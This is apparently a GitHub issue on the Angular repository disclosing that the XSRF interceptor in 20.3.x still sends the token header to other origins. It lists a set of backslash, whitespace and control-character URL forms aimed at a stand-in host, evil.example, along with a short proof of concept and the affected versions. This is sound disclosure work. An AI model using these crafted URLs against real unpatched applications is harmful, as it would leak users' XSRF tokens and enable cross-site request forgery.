XSRF header is still sent to other origins on 20.3.x through backslash and whitespace URLs · Issue #71294 · angular/angular · GitHub
Skip to content

XSRF header is still sent to other origins on 20.3.x through backslash and whitespace URLs #71294

Closed

Description

@SkyZeroZx

Which @angular/* package(s) are the source of the bug?

common

Is this a regression?

No

Description

On 20.3.x, the GHSA-58c5-g7wp-6w37 fix in xsrfInterceptorFn decides whether to add the XSRF header with a regex:

const ABSOLUTE_URL_REGEX = /^(?:https?:)?\/\//i;

if (
  !inject(XSRF_ENABLED) ||
  req.method === 'GET' ||
  req.method === 'HEAD' ||
  ABSOLUTE_URL_REGEX.test(req.url)
) {
  return next(req);
}

The browser does not resolve req.url the way this regex reads it. For http/https, the WHATWG URL parser treats \ as /, strips leading spaces and C0 control characters, and removes tab, LF and CR anywhere. So these URLs do not match the regex and get the token, but the browser sends them to evil.example:

const urls = [
  '/\\evil.example/x',
  '\\\\evil.example/x',
  '\\/evil.example/x',
  ' //evil.example/x',
  '\t//evil.example/x',
  '/\t/evil.example/x',
  '/\n/evil.example/x',
  '/\r/evil.example/x',
  '\0//evil.example/x',
  '\x1f//evil.example/x',
  'https:\\\\evil.example/x',
  'https:/\\evil.example/x',
  'htt\tps://evil.example/x',
];

Minimal example:

document.cookie = 'XSRF-TOKEN=test-token; Path=/';

http.post('/\\evil.example/api', {}).subscribe();

The request to evil.example contains:

X-XSRF-TOKEN: test-token

The precondition is the same as in GHSA-58c5-g7wp-6w37: the attacker can make the app send a mutating request to a URL they control. Their server only has to allow the origin and the custom header through CORS.

//evil.example/x and https://evil.example/x are correctly skipped on 20.3.33. '/\\evil.example/x' starts with a single / and has no scheme, so it also passes a url.startsWith('/') check.

main, 21.0.3+ and 22.x are not affected, because #65683 replaced the regex with a new URL(req.url, locationOrigin).origin comparison. It never reached 20.3.x, which is in LTS, so 20.3.33 is still affected.

I tested Angular 20.3.33 and 22.2.2 in Chrome 154, with both provideHttpClient() and withFetch(), 3 runs each:

Page Token sent to evil.example on 20.3.33 22.2.2
http:// all forms above, and their http: spellings 0
https:// all forms above (http: spellings are blocked as mixed content) 0
https:// + CSP upgrade-insecure-requests all forms above, and the 5 http: spellings (e.g. http:\\evil.example/x, http:evil.example/x) 0

Please provide a link to a minimal reproduction of the bug

https://github.com/SkyZeroZx/angular-xsrf-origin-bypass-poc

Anything else?

According my research, the regex is in 20.3.14–20.3.33 (also 19.2.16–19.2.25 and 21.0.1–21.0.2).

Activity

  1. added this to the needsTriage milestone on Oct 11, 2026
  2. added this to the needsTriage milestone on Oct 11, 2026
  3. added a commit that references this issue on Oct 11, 2026
    b3b6f02
  4. added a commit that references this issue on Oct 14, 2026
    933ce81
  5. SkyZeroZx commented on Oct 15, 2026

    @SkyZeroZx
    ContributorAuthor

    @alan-agius4 Maybe this warrants a security advisory, since GHSA-58c5-g7wp-6w37 claims to fix it and we could consider this a bypass

  6. alan-agius4 commented on Oct 16, 2026

    @alan-agius4
    Contributor

    Yes, will do.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    area: common/httpIssues related to HTTP and HTTP Client

    Type

    No type

    Projects

    No projects

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions